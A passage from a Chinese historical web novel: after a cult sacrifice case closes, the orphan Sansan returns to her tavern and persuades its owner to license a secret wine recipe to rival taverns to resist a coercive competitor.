“那陈湘追杀她,是因为她破坏了你们的祭祀吗?”裴景明突然抬手指了一下三三。
文心摇了摇头:“这我不知道。”
旁边的苏云摇了摇头,又点点头,三三眉头紧蹙,这什么意思?
苏云见她这副模样,连忙摆手:“我不能确定,但这也是一个原因吧,另外一个,可能是因为你跟书铺的老板有联系,陈湘很痛恨那个书铺老板,骂他是前朝狗官。”
前朝?!
许微澜这下怒气消了大半,震惊道:“前朝狗官?书铺老板是前朝官员?”
苏云见他如此震惊,不由疑惑:“可是大楚占领东京城不过十几年,有前朝人不是很正常吗?”
许微澜喉头一哽,前朝人正常,但是前朝官员不正常,大晋的官员要么归顺了大楚,要么就离开了东京城,眼下哪还有什么前朝官员。
他飞快地朝裴景明看了一眼,见后者面上一片镇定,更震惊了,难道你知道?
裴景明点点头:“她说得没错,如果有一些前朝官员不愿意归顺大楚的,会隐姓埋名起来,但你们怎么知道书铺老板就是前朝官员?”
苏云嗫嚅道:“因为每次有新人进来,都会安排人展画学习,画上的人都是跟通天教有仇的前朝官员。”
“所以你们抓我,是因为我经常去程先生那看书?认为我也是前朝人?”三三蹙眉问她。
“这我就不知道了,我们都是边缘人,主要被派往各个官员府上干活,对教内的事情不是很清楚。”苏云低下头。
“我,我之前偷听到,陈湘说那个书铺老板可以钓到更多前朝人,所以就一直没有杀他,”文心小心开口,见众人都看她,又微微低下头,“后来就发现了这,这位姑娘经常去书铺,而且当时正在搜罗适龄的女子祭祀,恰好就——”
三三这下明白了,绑她一是因为她跟先生来往密切,二是因为刚好缺人进行祭祀,正好她两个条件都符合了。
“所以只有我是这样,其他人都是随机绑的?”三三为了保险起见,还是多问了一句。
文心低头答道:“应,应该是的。”
三三沉默须臾,没再开口了。
裴景明他们又问了一些细节,这才知道,原来通天教是在大楚占领东京城后不久就开始死灰复燃,因为摸不准明武帝的喜好,便一直偷摸发展,后来了解到明武帝有让寺庙抚养孤儿的传统,便专门让无名居士在各个寺庙以领养的名义带走人,经过培训之后再安插进各个达官贵人府上,既是为了窃取机密,也是为了日后好拉拢朝中官员。活人祭祀起初用不了那么多人,也多是在偏僻的乡下随机抓人,直到近几年,通天教教主不知道从哪听来的,要用十名少女完成一轮祭祀才能起到续命的最佳效果,于是便有了这么一出。
通天教教主是个很狡猾的人,他没有在东京城设立联系点,只在距东京城不远的其他地方设立了一些规模较小的联系点,至于老巢,则是在万里之外的云疆,朝廷想要出兵剿灭就必须横跨十万大山,路程远不说,作战也是个大问题。
一番问话下来,天已经黑了,许微澜急着把苏云和文心的口供录好,还得把她们带回狱里,问完话就急匆匆带着人走了。
裴景明见三三一直沉默不语,也没多问,盯了她一会,才让十一去吩咐厨房做饭。
“姑娘,你这是?”裴景明露出一副询问的表情,“被她们的口供吓着了?”
“……并没有,王爷多虑了。”三三扬起嘴角假笑道。
裴景明眼眸微闪,嘴角勾勒出一抹笑意:“我觉得也是,总不能因为去书铺看书,结果遭受了这无妄之灾就被吓到,毕竟我瞧姑娘也是个果敢之人。”
“嗯,还有武艺。”他又补充道。
三三微微低头,垂下眼帘看他:“这你也能看出?”
“当然,我别的本事没有,看人还是一绝的,”裴景明眉梢微微挑起,嘴角勾起,带着笑意微微仰头看她,“比如你跟书铺的老板关系不一般。”
“你又跟踪我?”三三面色一变,眉眼间骤然升起些许怒气。
“你说的是哪一次跟踪?书铺老板跟你关系不一般不是跟踪,是打听来的,至于你之前出门,为了你的安全着想,那确实是跟踪了,这我不否认。”
三三蹙起的眉头并没有因为他的解释而有所舒缓:“除了书铺老板跟我关系不一般,你还打听到了什么?”
裴景明见她这般,嘴角的笑意一下就收了回去,一本正经道:“没有了,所以才打算直接问姑娘,你跟书铺老板这不一般的关系究竟是什么关系,莫非你也是前朝人?”
三三一直跟他保持着不近不远的距离,眼下更是借着这点距离毫不掩饰地上下探究他,心里来来回回地琢磨了个遍对方究竟知道了多少,是不是在诈她。
过了好一会,三三眼睛打量累了,才收回视线,闭了闭眼,低声道:“我是孤儿你也知道,酒楼老板娘收养了我,但为了酒楼生意,也……也为了省钱,就没让我上学堂。”
她的声音跟往常相比低了不止一点,似乎还带着点悲伤。
“我那时候很羡慕跟我一样大的小孩可以上学堂,经常会在干完活后去学堂外边偷听,”三三眼睫微颤,“后来忙了就没时间去了,程先生爱喝酒,经常会随身带本书到酒楼边喝边看,我有时候趁他喝醉了会偷偷看他的书,被他抓到过几回,他说他开了家书铺,让我去书铺看,不收钱。”
“一来二去的,跟程先生就熟起来了,偶尔也会帮他打点酒送去书铺。没想到,先生竟然是前朝的官员。”三三叹了口气。
裴景明静静听着,听到后面微微眯起了眼,似是在掂量她的话有几分可信度。
三三睁开眼,面上一片悲伤:“王爷,你要是我,因此遭受这劫,你会怪先生吗?”
裴景明思忖了片刻:“不会,他是好心,也没有利用你做什么坏事,只是被牵连了难免会有所不满。但听姑娘这么一说,这位先生是个好人,我倒是想去见见了。”
见三三略微惊讶地看向他,又补充道:“前朝官员若是不问朝堂事,像普通老百姓一样生活,倒也没什么,但若是借着前朝官员这个身份,打点其他主意,那才是有什么了。”
三三心里咯噔了一下,但面上一副受教了的表情:“王爷说的是,先生现在也只是个普通百姓,我若是因此怪他,倒显得我白眼狼了。”
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许微澜连夜将口供录好备存,拉上张思齐一起进宫见了明武帝,第二天,明武帝就把裴景明叫进宫了。
“珩清,这个活人祭祀一案你协助许张二人办得不错,对于是否出兵剿灭各个联系点以及通天教老巢一事,你怎么看?”明武帝高坐殿上,底下站着许微澜和张思齐还有坐着轮椅的裴景明。
裴景明刚想开口,就听到身后传来了几道脚步声。
裴瑜宁和裴文谦二人也来了。
兄弟二人给明武帝行了礼,便站在一边不说话。一时之间,殿里竟然安静了下来。
明武帝见人都来齐了,又问了一遍:“出兵剿灭通天教一事,你们怎么看?”
裴景明抬头看向他:“儿臣认为,可以先剿灭周边的一些联系点,以儆效尤,至于云疆,山高路远,暂时还是不出兵为好。”
明武帝还未开口,底下的裴瑜宁先唱了反调:“不成,父皇,儿臣以为,既然要出兵剿灭此等邪恶教会,就应该一鼓作气直接杀个干净,免除后患。”
明武帝闻言,又问了裴文谦。
“儿臣觉得二位哥哥说得都有道理。”
站在他身侧的裴瑜宁嗤笑了声,裴景明倒是没有任何表示。
明武帝也没说话,沉默了须臾才站起身来看着他们道:“此次祭祀一案,许微澜和张思齐破案有功,赏;元安王协助破案也有功,赏。至于出兵一事,朕自会考量。”
说完,便头也不回地甩袖走了。
许微澜和张思齐连忙跪下谢恩,高呼陛下万岁。
“好了起来吧,陛下已经走了。”裴景明见二人还跪着,好意提醒他们起来。
许微澜猛地一起身,官帽猝不及防歪了一下,他赶紧抬手扶正。扶好后见张思齐正看着他,立马扑了上去:“张兄!这案子算结束了吧?我乌纱帽保住了吧?”
张思齐眼里似泛着泪花,也扑了回去:“许兄!我觉得是的!”
裴瑜宁见他们如此激动,冷笑了声:“没出息。”
许微澜松开张思齐,想怼他,结果这人已经走出殿外了。
“嘁,他就是嫉妒我、嫉妒你破了案,得了赏赐,“许微澜推着裴景明的轮椅往外走,”这人真是小肚鸡肠,自己没本事,还怪人家有本事。“
裴景明窝在轮椅上,静静听他骂裴瑜宁。
”诶对了,之前不是在他生母纯妃那搜出了个女教徒来着吗,结果那人才进宫没多久,啥事都没来得及干,只给那纯妃摔了次什么什么玉露膏,气得纯妃罚她跪了一天。”许微澜忍不住乐道。
裴景明不知道有什么好笑的,于是真诚发问:“这事有什么好笑的吗?”
许微澜啧了一声:“当然好笑,跟裴瑜宁相关的不好的事,都好笑。”
裴景明无奈摇了摇头,许微澜是他伴读,一同进了国子监,在上学期间就因为各种事情跟裴瑜宁不对付,没想到进了朝堂还是如此。
许微澜边嘴里喋喋不休地说着边推着裴景明出了宫门,见十一像往常一样早已候在马车边,便将人交给他,自己转身准备去骑马回家。
结果马刚牵上,一抬头,就见到了坐在马上的翩翩公子——正是原本要过年才能回到东京城的谢序川。
“珩清!珩清!别走!你瞧瞧谁回来了?!”许微澜狂奔到裴景明车前,一把掀开车帘,面色涨红也盖不住他洪亮的声音,“谢序川回来了!”
15. 序川回京
裴景明挑了挑眉,探出车帘顺着许微澜指的方向看去,只见谢序川牵着匹白马,正慢悠悠往这边来。
“还真是他啊?”裴景明忍不住笑道。
许微澜原地蹦跶了几下:“这小子坏着呢,我刚刚牵出马,就见他坐在马上,端得很。”
他正说着,谢序川也来到了车帘前,满带笑意地朝二人行了个礼:“愚兄见过二位贤弟。”
许微澜当即表示不满,伸手捶了一下他肩膀:“谁是兄谁是弟啊?不就比我们大了一个月、半个月而已,还想占我们便宜。”
裴景明笑得不行,关于年纪这个话题他们年少时就争论过好几次,上头了还会大打出手,谁都不服谁。
“你上次回信不是说要到年底才能回来吗?怎么提前了?”裴景明笑问。
谢序川没躲过许微澜的捶打,闷声笑道:“本来是要年底那会才能回来的,来接替我一职的那位年轻人很能干,没几天就交接完了,我不好再待下去,便提前回来了,刚进宫跟陛下述完职,杨公公送我出来时说王爷要进宫,嘉言也要进宫,我便在宫门外等着,想着给你们个惊喜。”
许微澜恍然大悟:“哦,原来是你啊,我说怎么我们都到了,门外的公公还让我们等等。”
明武帝会见臣子向来是前面一位完事了,再由杨公公带着人从另一边的侧门出去,后面一位再从正门进来。这样一来,可以避免一些臣子之间不必要的麻烦。
裴景明点点头,脸上笑意不减:“那今晚去我那喝酒?”
谢序川本想应好,但又犹豫了一下,裴景明眨眼间就明白了他的意思:“朝朝最近应该不会来我府上,你放心。“
“不是放不放心的事,主要是怕公主不自在。”谢序川笑道。
许微澜啧啧两声:“我看是你不自在就是,公主这两年稳重多了,也不会像当年刚被赐婚时那样怼天怼地的,像个小炮仗。”
谢序川笑了笑,没说话。
在宫门外聊天本就惹眼,裴景明见进进出出的官员都在打量他们,手一松,车帘直接落下:“再聊下去人越来越多了,直接去王府吧。”
案子基本上已经告破,后续怎么处理那是朝廷要考虑的事了,三三昨晚跟裴景明演完戏后,便说今日就要回酒楼,裴景明就让十一把之前允诺过的二十两给她,三三之前从他那里拿到的二十两还没花完,便让他一同保管这一百二十两。
本来进来住的时候就没带什么包袱,如今要走了,那自然也是两手空空回酒楼。
三三穿好衣服,检查了一番,既没多带走什么,也没落下点什么,关好门便走。
她出王府大门时,正好撞见裴景明刚从马车上下来。
“这就要回去了?”裴景明在轮椅上坐好,十一给他披上了大氅。
“嗯,多谢王爷这几日的……照顾。”三三有点卡壳。
“不客气,也多谢三三姑娘的帮忙。“
许微澜骑着马从后面追了上来,见着三三便大声招呼:“三三姑娘这是要回去了?”
三三循声望去,只见许微澜身旁还跟着个人,身形提拔,气质儒雅,风度翩翩,跟轮椅上的裴景明倒有点像一类风格,但说不定裴景明腿还健全时更加意气风发?
许微澜下马时,三三才回他:“对,案子结了,我要回去继续打工了,大人告辞。”
“王爷,告辞。“三三冲二人抱拳行礼。
谢序川下马靠近许微澜时,三三已经转身朝另一个方向走了。
”珩清,嘉言,这姑娘……”谢序川望着她的背影,心里斟酌着用词,“怎么有点像温将军家的女儿啊?”
裴景明瞳孔微缩,但很快就收回了那点惊讶,平静问道:“何出此言?”
“对啊,何出此言?”许微澜跟着附和道。
“我刚刚在马上,自上而下看她,”谢序川抬手比划了一下,“就这个角度,发觉她很像温将军家的女儿,我本来也没往那想,是刚刚咱们在宫门外的时候,我瞧见温将军了,这才联想到。”
许微澜诶了一声,看向裴景明:“其樾这个角度我们确实没试过,可能真像也说不准。”
裴景明示意十一推他进门,淡淡道:“天下之大,无奇不有,长得像也不能说明什么。”
许微澜点点头,又伸手去搭谢序川肩膀:“确实,其樾,我跟你说,这个三三姑娘……”
三三穿过长安街,路过朱雀坊,耳听六路眼观八方,瞧着以往熟悉的商贩都在自己的小铺子前忙活,不由得感到一丝安全。她住在王府的那几天,虽然吃喝不愁,各方面都有人伺候,但她却感到不踏实。也许是因为从来没有体验过这种生活,所以让她感到惶惶不安吧。
她仰起脖子望了望天,这个时候回去跟老板娘打个招呼,还能干一会活,晚饭就会有她的份了,太好了,又省一顿!
三三想着想着弯了弯眼,脚步不由得加快了起来。
挨近年关,东京城里一天比一天热闹,人也是一天比一天多。来财酒楼里每天都人满为患,吃饭喝酒的客人多,打酒的人更是不少。
“我住东京城这么多年了,酒喝了不少,但最让我难忘的的还是李老板娘亲自酿的酒,这醇香浓厚,这口齿生津,着实让人难忘啊!”挨近窗边那里坐了两位客人,其中一位已然喝完了碗里的酒。
三三路过窗边正准备进门时就听到这客人的夸赞,笑盈盈道:“那真是我们老板娘的荣幸呐,这位客人今日可要多喝一点,要是卖完了只能明日喝咯!”
“还限量啊这酒?”跟那位夸赞的客人一桌的男子许是第一次来,有点不明所以。
三三边走去后院找老板娘边回头答道:“是啊,这芳菲酒每日限量两百瓶!”
这主意还是三三给老板娘出的,酿酒这活费劲,起初是不限量的,结果导致供不应求,老板娘想留住客人,多赚点钱,便没日没夜地酿酒,把其他活都交给三三她们干。三三就跟她说,物以稀为贵,要是酒是限量的,客人为了喝上酒,肯定会早早就来排队,这样一来不仅可以吸引客人,而且也可以把芳菲酒的名声给打出去,脚踩天香楼,拳打英雄楼,从此响彻东京城。
老板娘本来是不太相信的,三三便建议她可以先试试水,不好的话再说。老板娘自己酿酒也累得很,犹豫几番之后便按着三三的说法试了起来,每天的酒限量,还将原来的桃红改名为了芳菲,结果还真是出人意料,芳菲酒卖得越来越好,名气也大了起来,还有人来问她酿酒配方。
三三掀开帘子,瞧见老板娘正背对着外面,手在脸上胡乱擦了擦。
“老板娘,我回来了啦。”三三有点拿不准老板娘现在是什么状态,便放低了声音。
那微胖的身影一听到她声音,手上的动作更快了。
三三箭步上前,关切问她:“老板娘,你这是怎么了?”
老板娘撇开她手,声音有点嘶哑,眼眶也红红的,但还是摆出了一副臭脸:“没怎么,既然回来了,就赶紧干活去。”
三三拉住她胳膊:“我干活啊,这不是看你哭了……”
“谁哭了?我才没哭!”老板
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娘嗓门大了起来,“别管我,干你活去!”
老板娘扯开三三的手,径直往厨房走去。
三三无奈,也不敢再追着她继续问,准备干活的时候偷偷问刘雁。
店里的生意一直都挺好的,临近过年了更是如此。三三和刘雁的身影不停穿梭在厨房、后院和前厅。
"三三!这边再上个红烧鱼!”
“雁子!再上壶酒!”
“三三,过来收拾桌子呀,不然我们怎么吃啊?”
……
三三半天忙活下来,晕头转向的。
远处黑色天幕下的白光逐渐散去,只留下一点余光。三三靠坐在门口,肩上搭着条不知道用了多久的毛巾,黢黑且粗糙,看不出原本的颜色。
“三三你还不去拿饭?”刘雁端着碗饭靠了过来。
三三回头冲她笑了笑:“这就去,给我看好位置啊,凉快着呢,别让李大力给我抢了。”
刘雁一屁股坐下,扒了口饭:“放心,我坐着呢,快去吧。”
三三动作很快,没多久也端了碗饭回来,立马盛满了酸菜和土豆还有点肉。
三三挨着她坐下,边扒两口饭边开始打听:“雁子,我今天回来的时候,你猜我看到了啥?”
刘雁问:“啥?”
三三咽下嘴里的饭菜,神秘道:“我看到老板娘在哭。”
刘雁低头扒饭,没应声,三三也不急,继续埋头扒饭。
她刚刚扒到一半,刘雁开口了。
“三三,其实这几天老板娘都在哭。”刘雁已经吃完了饭,端着个空碗,叹了口气。
三三歪了歪头,满脸疑惑看着她。
“哎,是芳菲酒的事,”刘雁又叹了口气,“天香楼的人这几天最近一直找老板娘,想从她手中买下酿酒秘方,老板娘自然是不肯,结果他们说,不卖的话来财酒楼就没了。”
三三一边听她说一边扒拉饭菜,听到这里差点被噎住,梗了好一会脖子,才红着眼问:“没了是什么意思?是要拆了酒楼不成?”
“天香楼背后有靠山,据说是个大官,他们的意思是如果不卖这秘方,他们就要强买下来财酒楼,再把所有人都赶走。”
“老板娘起初是不信的,但是这群人经常来这里闹事,就占位不喝酒不点菜,还大声吆喝,把许多客人都吓走了,前几天比较猖狂,老板娘报官之后,稍微好了一点,但是,”刘雁深深叹了口气,“但是县尉也在暗中劝老板娘把秘方卖给天香楼的人。”
蛇鼠一窝啊,三三想。
“三三,你说要真卖了秘方,来财酒楼还能有生意吗?如果不卖的话,我们是不是都要卷铺盖走人了啊?”刘雁耷拉着眉毛问三三。
三三扒完最后一口饭,嚼了几个来回,才道:“这难说,先别担心,车到山前必有路。”
三三起身拍了拍屁股上的灰,又拍了拍刘雁的肩膀,转身就回厨房了。
三三洗好碗就上楼去找老板娘了。
来财酒楼共三层,一楼二楼招呼客人,三楼就是她和老板娘的住处。
三三心里其实也拿不准该怎么办,在老板娘门口来来回回走了好几圈,每次抬手想敲门的瞬间又唰地放了下去,继续来回走圈。
就这么走了好几个来回,刚刚吃饱的肚子都要平坦了。
三三站定在门前,咬了咬牙,抬手就准备敲门。
结果老板娘开门了,三三下手太快,一下子收不回来,直接敲在了老板娘额头上。
“我……我可以解释的……”三三虚弱道。
16. 开放合作
老板娘看着她,没像往日那样教训她,只是说了句进来吧就转身去桌前给她倒水。
三三看她眼眶红红的,想来刚刚是躲屋里哭来着。
她也没多问,一屁股坐在老板娘对面。
老板娘见她这副模样,便猜到三三应该是知道了。
“你觉得我该卖吗?”老板娘问。
三三没说话,老板娘本来就红的眼眶这下更红了。三三见她眼里饱含泪水,赶紧诶诶了两声。
“我,我也说不好啊,”三三搓了两下衣摆,开始头头是道给她分析了起来,“你看,要是卖的话,生意肯定没以前那么好了,天香楼肯定想尽法子逼得我们没生意做,要不卖的话,恐怕……”
老板娘这下真哭了。
她双手捂着脸,开始呜呜哭了起来,边哭边道:“我容易吗我,都欺负我一个寡妇……”
三三见她哭得那么伤心,赶紧起身蹲在她身旁轻轻拍了拍她后背。
“老板娘,我觉得吧,”三三心里斟酌着用词,“不然,我们可以和其他酒楼合作?”
老板娘继续呜咽,明显没听明白她的话:“合作什么啊合作,他们摆明了就是要抢秘方,逼得我们关门。”
三三继续拍她后背:“诶,我的意思是,和天香楼合作不是唯一的,我们也可以和其他酒楼合作啊。”
“就是让他们加入我们,但加入需要交一笔费用,并且签订契约保密,一年一续,其他酒楼想要秘方都可以交钱签契约,不止天香楼,你明白我意思吗?”三三手上轻拍的动作不停。
老板娘的呜咽声渐小,她放下手抬起满是泪痕的脸来看着三三:“这样一来,秘方不就不是秘方了吗?”
“不不不,”三三摇头,“还是秘方,只是交了钱签了契约的人才有秘方,其他人如果偷偷泄露秘方,那就会成为众矢之的。”
“简单来说就是,本来秘方是你一个人的,但是你一个人保护秘方的力量有限,但是你把秘方分享给其他人,并且收了钱,签了契约,大家为了多赚钱,就会共守一个秘密,这样保护秘方的力量就多了。”三三继续道。
老板娘似懂非懂,又问:“要签契约,还要交钱,会有酒楼同意吗?”
三三笑道:“会有的,本来芳菲酒卖得好就惹得其他酒楼眼红了,都想得到秘方,如果开放合作的话,大家就都有的赚,如果被天香楼给拿走了秘方,大家都没得赚,这点我想他们应该能想得通的。”
老板娘脸上的泪痕已经干了,她抬手擦了擦,嘶哑道:“那我们得尽快把这个消息告诉其他酒楼,不然就来不及了。”
三三点点头,老板娘又继续道:“你明天,跟我一起去一趟英雄楼。”
三三继续点头。
第二天一早,老板娘交代完刘雁和李大力之后,便带着三三去了英雄楼。
英雄楼的老板是个圆圆的胖子,脑袋圆圆,身体圆圆,长得很喜庆,见人就笑眯眯地打招呼。
老板娘进来的时候,英雄楼的店小二还以为她要来砸场子。
三三连忙拦住准备扯嗓招呼人的店小二,澄清道:“我们不是来砸场子的,我们是来找你们老板的。”
店小二狐疑地打量她二人:“真假?”
“真的。”三三无比诚恳地点头。
店小二见她们手上什么也没拿,虽然不是很相信,但还是十分麻利且警惕地上楼去找他们老板了。
吉祥物老板名唤阮大雄,还没见到他人,就已经听到了他浑厚的声音:“哎呀呀,这什么风呀,竟然吹来了李老板!”
他边说边伸出手想去拉老板娘,老板娘见状也伸出手笑道:“这大冷天的,除了冬风还有什么风呢?”
阮大雄朗声笑了几下:“这么早,想必李老板也没吃早饭吧?来,我让人送点菜上楼,咱们边谈边叙。”
老板娘点头应好,带着三三就跟在阮大雄身后上楼。
“这个房间是我专门用来招待贵客的,李老板,请。”阮大雄推开门,朝里伸了伸手。
老板娘笑了笑,抬脚进去,三三还在犹豫着要不要跟着进去,阮大雄就笑眯眯道:“三三姑娘也请呀。”
三三笑着道了声谢,阮大雄便跟在她身后。
店小二动作很快,不一会就上齐了菜,临走前还给三人都倒了酒。
阮大雄举起酒杯敬老板娘:“李老板,我敬你一杯。”
老板娘闻言赶紧举起酒杯:“阮大哥这话真是……我敬您才是。”说着便站起身来伸长了手去碰阮大雄的杯子。
三三也跟着起身敬酒。
阮大雄笑眯眯地和她二人碰了碰,酒刚下肚,他便单刀直入:“我听说近来天香楼一直在……李老板是打算卖吗?”
老板娘放下酒杯:“不瞒您说,我今日来这里,就是想跟阮大哥做个生意。”
阮大雄继续笑眯眯问:“什么生意?莫非是想卖给我?”
老板娘看了一眼三三,三三立即会意,开始给阮大雄详细介绍昨夜跟老板娘计划好的合作事宜。
……
“所以,我要是跟你们合作了,我也能得到秘方,我也可以每天限量卖,”阮大雄顿了顿,“但是我要交钱给你们,用来保证我不会泄密?”
三三点点头:“阮老板可以这么理解,而且我们开放合作的名额是有限的,就三个,一来为了保证品质,二来也是怕酒太多了,卖不出去。”
阮大雄沉默片刻,又问:“你们为什么不直接卖给天香楼?”
三三面上一片坦然:“因为芳菲酒本来就是只有来财酒楼才有,这钱也只有我们能赚,如果卖给天香楼,就只有天香楼才能赚了,到时候他们就会不断扩大销量,不仅来财酒楼也活不下去,其他酒楼的生意也难做,但我们开放合作的话,大家就都能卖这个酒,大家都有钱赚。”
阮大雄哈哈笑了起来,称赞道:“李老板,你这个养女可真是聪明啊,与其把火力集中自身,不如分散开来,既能保存实力,又能避免秘方流失。妙哉妙哉!”
三三谦虚地笑了笑。
阮大雄又仔细问了一些事宜,酒过三巡之后,他终于道:“我觉得你们的做法是对的,我也愿意合作。”
老板娘和三三同时看向他,他笑眯眯继续道:“但是我要加个条件,三个名额必须在这两日落实,并且要把消息放出去,如果失败了,你们要双倍返还我合作费用,不仅如此,你们还要把秘方给我一份。如果觉得没问题的话,我们现在就可以签契约去备案。”
阮大雄的担忧很明显,如果这两日不能把合作的事情敲定,若是被天香楼那边知道了,就麻烦了。
老板娘眼底闪过一丝挣扎,但很快就决定了:“好,我答应你。”
阮大雄朗声喊了小二过来,让他去把专门给他写契约的师爷叫来。
师爷是他专门养着的,从府上过来并不耽搁什么时间,三人商讨事宜都差不多了,师爷刚刚好拎着笔墨纸砚过来。
第一单合作很顺利,老板娘哭了几天的脸终于有了点笑意。
三三仰头瞧了瞧天,约莫还差半刻到午时。<
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“老板娘,我们先歇歇,下午去找另外一家,明天早上再找一家,敲定之后就把消息散步出去。”三三端了碗饭出来,见老板娘还在前面那用算盘叮铃当啷地不知道在算什么。
三三边吃饭边琢磨着要去找哪几个酒楼谈,东京城规模较大的酒楼除了天香楼,英雄楼,还有个百花楼,可以去跟百花楼的老板谈谈,但百花楼也有自己的招牌酒,会不会合作还真不好说。除了上面这几个大的酒楼,还有一些和来财酒楼一样规模中等的酒楼,比如摘星楼,秋月楼,这两家生意还可以,饭菜不错,酒的话倒是没听说过有什么出名的,或许这两家酒楼也可以合作。
老板娘叮铃当啷的算盘声终于在三三扒完最后一口饭时停下了,她咧着嘴朝三三笑道:“三三,你这个主意好啊,我刚刚算了算,我们一年能赚好多钱呢。”
三三端起饭碗起身,打趣道:“既然这样,那我的债是不是可以免了呀?”
老板娘收起算盘,冲她摆了摆手:“少贫,这不是一回事。”
三三也不恼,转身往后院厨房走。
未时刚过两刻,三三就叫上老板娘去百花楼。
“百花楼?百花楼有自家的百花酿,会跟我们合作?”老板娘不太确定。
三三慢悠悠地打量着街道两边吆喝得十分卖力的商贩:“不知道啊,去跟杨老板谈一下才知道,万一呢是吧?”
老板娘觉得她说得对,脚步不由得加快了起来,见她走得散漫,还拍了一下三三的背:“走快点,下午的客人多!”
三三哎哟了一声,赶紧提速跟了上去。
百花楼不愧是百花楼,下午场刚刚开张就座无虚席了。三三看着店里面跑来跑去的店小二,粗略算了一下,起码有十来个,且个个都是大嗓门,好脚力,一发现有客人进来,无论在干什么,店小二们都会齐声喊:“百花楼百花酿,百味菜品百味人生,欢迎贵客!”
三三第一次来的时候百花楼还没有这阵仗,没想到短短两年过去,百花楼就已经如此……花样频出了。
挨近门口的店小二见她俩进来,还以为三三是来砸场子的,刚想喊人,被三三一把拽过胳膊给打断了:“诶诶,小哥小哥,我们不是来闹事的,是来找你们杨老板的。”
店小二呼之欲出的“来人”被生生截住,一时之间还没反应过来,三三又问了一遍,他才道:“杨老板出去了,还没回来,二位有提前跟我们老板说吗?”
三三看了一眼老板娘,老板娘又看回店小二:“没有,我们就在这等。”
店小二环视了圈大厅,找到前面收银处的掌柜,上前跟人嘀咕了半天。
三三狐疑地打量他们二人,那掌柜笑着上前道:“这位是来财酒楼的李老板吧?”
老板娘点头:“对,是我,李芳芳,你们杨老板什么时候回来?”
掌柜继续笑道:“老板午时去元安府上送菜了,约莫再过半个时辰就能回来,李老板要是不急的话,可以上楼等等?”
老板娘笑了笑:“我不着急,等你们老板回来就是了。”
掌柜见她这副和气的模样,便放下心来,让那店小二带着人上楼,又抬手招呼了另外一个店小二过来,三言两语之后便见那小二疾步出门了。
约莫等了一炷香的时间,三三突然听到楼下传来喧杂的声音,她起身推开窗户一看,只见下面停了辆马车,周围站了好些侍卫,好不威风,马车下的侍女高举着手,从车里牵出了一位身着华丽的年轻女子。
三三定睛一看,果然是裴朝朝。
17. 逐个谈判
裴朝朝扶着侍女的手下马车时,突然抬头看向二楼,二人的视线就这么一上一下正好对上了。
三三本想关窗的手在见到裴朝朝冲她莞尔一笑时顿了一下,犹豫了会也浅浅冲她笑了笑,没再关窗。
店小二对这位贵客很是熟悉,马车刚一停好就上前候着。
裴朝朝问他:“雅间还有吗?”
店小二热情地笑道:“有的有的,还是贵客常用的那间。”
裴朝朝点点头,没走两步又问:“我刚刚瞧见三三了,她也来这吃饭?”
这店小二正是跟三三他们打招呼兼送上楼的那位,他微微弯了弯腰,低声道:“算是吧?三三她们来找我们杨老板。“
“这样啊,那你去给她们送几个时兴甜点,记我账上。”
店小二连声应是,毕恭毕敬地把人送上了三楼。
二楼的老板娘和三三中午已经吃过饭了,但掌柜已经让店小二端上了满桌的好酒好菜。
三三看着那些大鱼大肉,还没吃就已经感觉到饱了。
老板娘也没动筷子,两人面面相觑。
本来以为菜已经上齐了,没想到店小二又另外拿了个小桌,上面摆着几碟十分精致的甜点,有一道正是三三之前在王府吃过的桃片糕。
三三一时诧异,不由得发出真挚的感慨:“这百花楼不愧是百花楼啊!连招待不是客人的人都这么精致。”
站她身旁固定桌子的店小二没忍住笑了起来:“三三,这可不是百花楼的标配,这是楼上那位贵客特地叮嘱我给你送的。”
三三侧头看他:“楼上的贵客?”
“是啊,那位贵客经常来我们这吃饭,跟杨老板关系不错。”
三三突然就想到了刚刚楼下的那个莞尔一笑,问道:“是刚刚楼下那位吗?”
店小二把桌子放稳:“是,就是那位。”
“菜和甜点都上齐了,有其他需要您二位招呼声就行。”店小二把肩膀上的毛巾一甩,轻手轻脚退了出去。
老板娘见人一走,立马问三三:“什么贵客?”
三三简短回答了两个字:“公主。”
老板娘顿时张大了嘴:“你怎么认识的公主?”
“之前不是住元安王府吗?见过一面。”
老板娘恍然大悟地哦哦了两声,又感慨道:“果然还是要在大户人家才能结识大户人家啊。”
“……”
二人瞧着满桌的大鱼大肉,都十分默契地吃起了甜点。
一碟甜点还没吃完,杨老板就回来了。
百花楼的杨老板跟阮大雄不一样,不像开酒楼的,倒像个书生。
他挥着把扇子,悠哉游哉地进门,笑道:“李老板觉得我百花楼的饭菜如何啊?”
老板娘一下子噎住了,三三眼疾手快给她倒了杯茶。
“不错,十分不错,”老板娘就着水咽下那甜点,“甜点也十分好吃。”
杨老板摇晃着扇子坐下:“我听掌柜说,李老板找我有事?”
老板娘瞧了瞧他,偏过头,又忍不住转过脸来瞧他,这杨老板长了一副好模样,还带点书生意气,着实是让人……
杨老板见她这副模样,很是得意地摇晃了下脑袋。
三三直接开口:“是的,我们老板打算和您合作。”
“怎么合作?”
三三又把早上跟阮大雄那一套说辞给搬了出来,杨老板听得津津有味,手里摇晃的扇子渐渐停了下来。
“可是我们百花楼有百花酿,不缺招牌酒,我为什么还要多花一笔钱去买你们的秘方?”
这个问题三三早就想过了。
“百花楼生意好,单一个百花酿就声扬东京城,但是谁会嫌招牌多呢?若是哪一天大家都喝腻了百花酿怎么办?”三三顿了一下,见他神情不变,又继续道,“若是有另外一个招牌的酒,说不定还能缓冲一下,您说是吧?”
杨老板合上扇子,饶有趣味地看着三三,话却是对着老板娘说的:“李老板,您这养女不简单啊。”
三三接着道:“杨老板说笑了,您可以好好考虑考虑。”
“最迟什么时候告诉你们结果呢?”杨老板问。
老板娘这次终于开口了:“今晚日落之前。”
杨老板拿起扇子摊开,应了声:“好。”
三三迈出百花楼门的同时,杨老板正好去了裴朝朝那雅间。
“她来找你干嘛?”裴朝朝吃饱喝足,好奇心就上来了。
“谈生意,”杨老板轻摇着扇子,见小桌上的甜点跟三三那边的一样,笑道,“你让人给送甜点了?”
裴朝朝:“是啊,替你多卖了一份,不客气。”
杨老板笑了笑:“今日怎么不去王爷府上?”
“谢序川回来了,我怕撞见他,还是不去为妙。”
杨老板意味深长地看着她:“幸好你没去,谢序川真就在那呢。”
“……所以你们的生意谈得如何?”裴朝朝扯开了话题。
杨老板便把情况简单说了下,裴朝朝托着下巴:“我觉得可以合作,毕竟鸡蛋不能都放一个篮子。”
杨老板不语,只笑着摇扇子。
三三和老板娘出来之后,立即马不停蹄拐了个弯就直奔秋月楼去。三三一路上都想好了,不管百花楼同不同意,必须要先拿下跟天香楼有仇的秋月楼,其次再去找摘星楼。
